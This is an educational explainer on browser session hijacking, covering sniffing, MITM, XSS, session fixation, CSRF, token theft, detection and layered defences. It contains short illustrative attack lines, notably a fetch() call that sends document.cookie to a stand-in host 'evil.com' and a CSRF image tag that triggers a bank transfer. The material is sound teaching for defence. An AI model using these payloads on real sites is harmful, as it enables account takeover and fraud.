1. What Is Browser Session Hijacking?
Browser session hijacking is an attack where an adversary takes control of a legitimate user’s authenticated session by stealing or abusing session identifiers (usually cookies or tokens).
Once hijacked, the attacker impersonates the user without knowing their password.
The browser believes the attacker is the user because the session identifier is valid.
2. How Web Sessions Work (Foundation)
2.1 Authentication vs Session Management
Authentication proves identity once (login).
Session management maintains identity across requests.
Because HTTP is stateless, servers must track state using session tokens.
2.2 Typical Session Flow
- User logs in with credentials
- Server validates credentials
- Server generates a session ID
- Session ID is stored:
- Server-side (memory, Redis, DB)
- Client-side as a cookie
- Browser sends session cookie with every request
- Server maps cookie → authenticated user
3. Session Identifiers (Attack Target)
3.1 Types of Session Identifiers
| Type | Example |
|---|---|
| Cookie-based | PHPSESSID=abc123 |
| JWT | Authorization: Bearer eyJ... |
| URL-based | example.com?sid=abc123 |
| HTML5 Storage | localStorage/session |
3.2 Security Properties Required
A secure session token must be:
- Random (cryptographically secure)
- Unpredictable
- Unique
- Bound to context (IP, UA, TLS if possible)
If any of these fail → hijacking becomes possible.
4. Core Session Hijacking Techniques
4.1 Packet Sniffing (Network-Level Hijacking)
Mechanism
If traffic is not encrypted, attackers can sniff session cookies.
Technical Flow
- User connects over HTTP (no TLS)
- Session cookie sent in plaintext
- Attacker captures packet (Wireshark, tcpdump)
- Attacker replays cookie in their own browser
Tools
- Wireshark
- Ettercap
- tcpdump
Why HTTPS Stops This
TLS encrypts:
- HTTP headers
- Cookies
- Request bodies
4.2 Man-in-the-Middle (MITM) Attacks
MITM Variants
- Rogue Wi-Fi hotspots
- ARP poisoning
- DNS spoofing
- SSL stripping
SSL Stripping Example
- Victim requests
http://example.com - Attacker downgrades HTTPS → HTTP
- Victim receives session cookie over HTTP
- Attacker steals cookie
4.3 Cross-Site Scripting (XSS)
Why XSS Is the #1 Session Hijacking Vector
If JavaScript can access cookies:
document.cookie
Attack Flow
- Attacker injects JavaScript
- Script executes in victim’s browser
- Cookie exfiltrated:
fetch("https://evil.com/steal?c=" + document.cookie)
- Attacker reuses cookie
Defense
HttpOnlycookie flag- Content Security Policy (CSP)
- Input/output sanitization
4.4 Session Fixation
Definition
Attacker sets a known session ID before login, then waits for victim to authenticate.
Attack Steps
- Attacker generates session ID
- Tricks victim into using it:
https://example.com/login?sid=KNOWNID
- Victim logs in
- Session ID becomes authenticated
- Attacker uses same ID
Root Cause
- Session ID not regenerated on login
4.5 Cross-Site Request Forgery (CSRF) + Session Abuse
CSRF doesn’t steal sessions but abuses active sessions.
Example
Victim logged in → attacker triggers:
<img src="https://bank.com/transfer?to=attacker&amount=1000">
Session cookie automatically included.
4.6 Token Theft via Browser Storage
localStorage / sessionStorage Risks
- Accessible by JavaScript
- XSS = total compromise
localStorage.getItem("auth_token")
JWT Risks
- Long-lived tokens
- Often stored insecurely
- Cannot be invalidated server-side easily
5. Advanced Session Hijacking Techniques
5.1 Sidejacking (Partial Encryption)
Some sites encrypt login but not session traffic.
Result
- Attacker steals post-login cookie
- Famous tool: Firesheep
5.2 Browser Extension Hijacking
Malicious extensions can:
- Read cookies
- Inject scripts
- Modify headers
Permissions Abuse
"permissions": ["cookies", "<all_urls>"]
5.3 Session Replay Attacks
Attacker captures:
- Cookies
- Headers
- User-Agent
Then replays exact request.
Works if:
- No IP binding
- No TLS token binding
- No request nonce
5.4 Session Prediction
If session IDs are:
- Sequential
- Timestamp-based
- Weak RNG
Attackers can brute-force:
session_1001
session_1002
session_1003
6. Browser-Level Factors
Cookie Attributes
| Attribute | Purpose |
|---|---|
| Secure | HTTPS only |
| HttpOnly | Blocks JS access |
| SameSite | CSRF defense |
| Domain | Limits scope |
| Path | Limits routes |
Example Secure Cookie
Set-Cookie: SID=abc123;
Secure; HttpOnly; SameSite=Strict
7. Server-Side Session Handling Weaknesses
Common Mistakes
- No session regeneration on login
- Long session expiration
- No logout invalidation
- No session binding to IP or device
- No anomaly detection
8. Detection of Session Hijacking
Indicators
- Same session ID from different IPs
- Rapid geolocation changes
- Concurrent logins
- Abnormal user behavior
Defensive Techniques
- IP fingerprinting
- Device fingerprinting
- Behavioral analysis
- Session rotation
9. Complete Defense Strategy (Layered)
Transport Layer
- HTTPS everywhere
- HSTS
- TLS 1.3
Browser Layer
- Secure cookies
- HttpOnly
- SameSite
- CSP
Application Layer
- Regenerate session ID after login
- Short session lifetimes
- Logout invalidation
- CSRF tokens
Architecture
- Zero Trust
- Token binding
- OAuth + PKCE
- Refresh token rotation
10. Real-World Impact
Session hijacking enables:
- Account takeover
- Financial fraud
- Data exfiltration
- Privilege escalation
- Compliance violations (GDPR, PCI)
11. Summary (Key Takeaways)
- Session hijacking exploits trust in session identifiers
- Cookies are credentials
- XSS + weak cookies = total compromise
- HTTPS alone is not enough
- Defense must be multi-layered
